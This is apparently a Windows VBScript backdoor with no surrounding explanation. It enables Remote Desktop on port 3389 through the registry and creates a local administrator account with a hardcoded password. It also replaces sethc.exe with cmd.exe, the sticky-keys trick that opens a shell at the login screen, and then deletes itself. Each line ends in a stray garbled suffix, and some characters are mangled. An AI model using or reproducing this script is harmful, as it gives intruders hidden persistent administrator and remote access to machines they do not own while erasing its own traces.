on error resume next &*r YY\I
const HKEY_LOCAL_MACHINE = &H80000002 &*r YY\I
strComputer = "." &*r YY\I
Set StdOut = WScript.StdOut &*r YY\I
Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ &*r YY\I
strComputer & "\root\default:StdRegProv") &*r YY\I
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" &*r YY\I
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath &*r YY\I
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" &*r YY\I
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath &*r YY\I
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" &*r YY\I
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" &*r YY\I
strValueName = "fDenyTSConnections" &*r YY\I
dwValue = 0 &*r YY\I
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue &*r YY\I
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" &*r YY\I
strValueName = "PortNumber" &*r YY\I
dwValue = 3389 &*r YY\I
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue &*r YY\I
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" &*r YY\I
strValueName = "PortNumber" &*r YY\I
dwValue = 3389 &*r YY\I
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue &*r YY\I
on error resume next &*r YY\I
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath &*r YY\I
On Error Resume Next &*r YY\I
Dim obj, success &*r YY\I
Set obj = CreateObject("WScript.Shell") &*r YY\I
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) &*r YY\I
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName) &*r YY\I